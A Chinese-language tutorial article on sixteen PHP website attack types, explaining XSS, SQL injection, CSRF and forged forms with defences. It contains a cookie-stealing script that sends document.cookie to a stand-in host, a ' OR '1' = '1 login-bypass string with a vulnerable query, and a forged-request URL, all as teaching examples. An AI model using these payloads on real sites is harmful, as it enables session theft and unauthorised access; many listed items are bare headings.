PHP網頁的安全性問題

針對PHP的網站主要存在下面幾種攻擊方式:

1.命令注入(Command Injection)

2.eval注入(Eval Injection)
3.客戶端腳本攻擊(Script Insertion)
4.跨網站腳本攻擊(Cross Site Scripting, XSS)
跨站腳本攻擊是另外一種常見的攻擊方式,而且簡單易用。看看下面的例子:

你開發了一個留言程序,這個程序允許用戶發表留言,發表完留言後自動轉向查看所有留言頁面。如果有一個用戶發表了這樣一段留言

<script>
document.location = ’’http://example.org/getcookies.php?cookies= ’’
+ document.cookie;
</script>

那麼其他用戶在查看所有留言的時候,都將“看到”這段代碼,這段代碼將被他們的瀏覽器執行,把他們機器上保存的COOKIE信息(有可能是個人賬號、密碼、電話等隱私信息)發送到另外一個指定的網站。

這可以通過對輸出進行編碼來防止,例如使用htmlentities()編碼以後,上面這段代碼將變成

&lt;script&gt;
document.location = 'http://example.org/getcookies.php?cookies= '
   + document.cookie;
&lt;/script&gt;

因此也就不能造成危害了
5.SQL注入攻擊(SQL injection)
在進行網站開發的時候,程序員由於對用戶輸人數據缺乏全面判斷或者過濾不嚴導致服務器執行一些惡意信息,比如用戶信息查詢等。黑客可以根據惡意程序返回的結果獲取相應的信息。這就是月行胃的SQL注入漏洞。
當使用用戶輸入作爲SQL語句的組成部分時,很容易遭到SQL注入攻擊。

例如採用方法進行登錄驗證時

$username = $_POST[’username’];
$password = md5($_POST[’password’]);
$sql = "SELECT * FROM users WHERE username='{$username}' AND password='{$password}'";
如果惡意用戶輸入用戶名爲 ' OR '1' = '1,那麼拼接成的SQL語句就變成了
SELECT * FROM users WHERE username='' OR '1' = '1' AND password='...'
這條語句將查詢出數據庫中所有的用戶,惡意用戶就順利登陸了

使用*_escape_string()函數對數據進行編碼後,再進行拼接,或者使用預處理SQL語句,可以有效地防止SQL注入。

例如使用*_escape_string()函數對惡意用戶名編碼後,用戶名將變成 /’ OR /’1/’ = /’1

6.跨網站請求僞造攻擊(Cross Site Request Forgeries, CSRF)

跨站請求僞造(CSRF)

XSS攻擊依靠的是用戶對於網站程序的信任, 而CSRF攻擊依靠的是網站對於用戶的信任。例如:

一個惡意用戶在網站購買書籍時候發現,用於購買請求採用GET方式提交,提交地址爲http://yourhost/buybook.php?book_id=0129&qty=1

那麼他就可以在其他站點上防置一個用於發送僞造請求的圖片鏈接,這樣其他用戶在瀏覽包含一個這樣的圖片鏈接的網頁的時候,就毫無察覺的發送了一個請求到購書網站。

對於大部分用戶來說,這樣的請求是無效的,因爲他們並不是購書網站的用戶。但是如果他正好也是這個購書網站用戶,那麼這個請求就真的將執行購買書的操作。

預防CSRF請求可以採取以下方
1)對於關鍵行爲,避免使用get,REQUEST,只使用POST,這樣只有用戶主動點擊提交按鈕,才能發生一個購買行爲。(當然僞造$_POST數據也很容易,比如在惡意網站上放一個查看按鈕,而這個按鈕實際上是發送一個購書請求)

2)對於關鍵行爲,避免使用COOKIE數據對用戶進行驗證,使用SESSION可以保證只有用戶登錄過購書站點才能進行購書行爲。

3)對於關鍵行爲,設置令牌,例如

<?php
session_start();
$token = md5(uniqid(rand(), TRUE));//隨機生成一個令牌
$_SESSION[’token’] = $token;//存入SESSION
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Remainder of form -->
</form>

這樣,接收到提交數據後,就可以用SESSION中保存的令牌,與請求中的令牌進行比較,這樣就可以完全防止僞造的請求。
7.Session 會話劫持(Session Hijacking)
8.Session 固定攻擊(Session Fixation)
9.HTTP響應拆分攻擊(HTTP Response Splitting)
10.文件上傳漏洞(File Upload Attack)
11.目錄穿越漏洞(Directory Traversal)
12.遠程文件包含攻擊(Remote Inclusion)
13.動態函數注入攻擊(Dynamic Variable Evaluation)
14.URL攻擊(URL attack)
15.僞造表單(Spoofed Form Submissions)
要知道不只你編寫的表單可以給你自己提交數據,其他人也可以編寫僞造表單來向你的站點提交數據,這樣一來,你用JavaScript對錶單進行的驗證和過濾就都白寫了。我們也可以使用$_SERVER[“HTTP_REFERER “]來判斷上一頁的地址是不是你自己站點的地址,但是HTTP_REFERER信息也是由客戶端提供的,因此也不安全。 所以必須在服務器端對數據進行驗證!
16.HTTP請求欺騙攻擊(Spoofed HTTP Requests)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章